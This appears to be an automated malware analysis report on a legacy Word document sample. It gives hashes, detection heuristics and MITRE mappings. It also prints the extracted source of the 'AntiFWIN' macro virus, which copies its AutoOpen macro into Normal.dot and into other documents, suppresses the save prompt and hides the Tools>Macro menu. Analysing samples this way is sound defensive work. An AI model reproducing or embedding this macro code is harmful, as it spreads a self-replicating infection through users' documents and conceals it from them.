Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f0ebc6bd5900c20…

MALICIOUS

Office (OLE)

28.5 KB Created: 1999-05-09 17:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8b1f8b3d57a29508ddf8efcb77e1a491 SHA-1: d9ff62404223e1b4eda9f5af4562ea11c347712e SHA-256: 0f0ebc6bd5900c20f87f7f1990e3fea8ff49fd34765f696f037b883eefe52ef4
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and an AutoOpen macro, indicating it is designed to infect the global template (Normal.dot) with its macro code. The script explicitly mentions 'AntiFWIN' and 'Wazzu', suggesting it's a known, albeit older, type of macro virus. The primary function appears to be self-propagation within Word documents.

Heuristics 4

  • ClamAV: Doc.Trojan.Attention-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Attention-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1344 bytes
SHA-256: b9340d5d9f5c74875cb643495c30b13ea9d3764ce391ddbf9d318d96e07b1b82
Detection
ClamAV: Doc.Trojan.Attention-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Rem ------------------------------
Rem !!!!Attention!!!!Attention!!!!
Rem ------------------------------
Rem This is *NOT* a Wazzu Varient!
Rem This Virus is called AntiFWIN!
Rem FWIN's Heuristics do not Work!
Rem ------------------------------

Public Sub MAIN()
Dim File$
Dim TheString$
Dim Macro$
Dim Return_
Dim TheFormat
On Error Resume Next

File$ = WordBasic.[FileName$]() + ":AutoOpen"

TheString$ = WordBasic.[MacroFileName$](WordBasic.[MacroName$](0))
Macro$ = UCase(WordBasic.[Right$](TheString$, 10))

If Macro$ = "NORMAL.DOT" Then
Return_ = CopyVirus("Global:AutoOpen", File$)
TheFormat = Asc(Chr(1))
WordBasic.FileSaveAs Format:=TheFormat
Else
Return_ = CopyVirus(File$, "Global:AutoOpen")
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
End If

If WordBasic.[MenuItemText$]("Tools", 0, 13) = "&Macro..." Then
WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="Tools", Remove:=1
End If

End Sub

Private Function CopyVirus(From$, To_$)
On Error Resume Next
WordBasic.MacroCopy From$, To_$, 1
End Function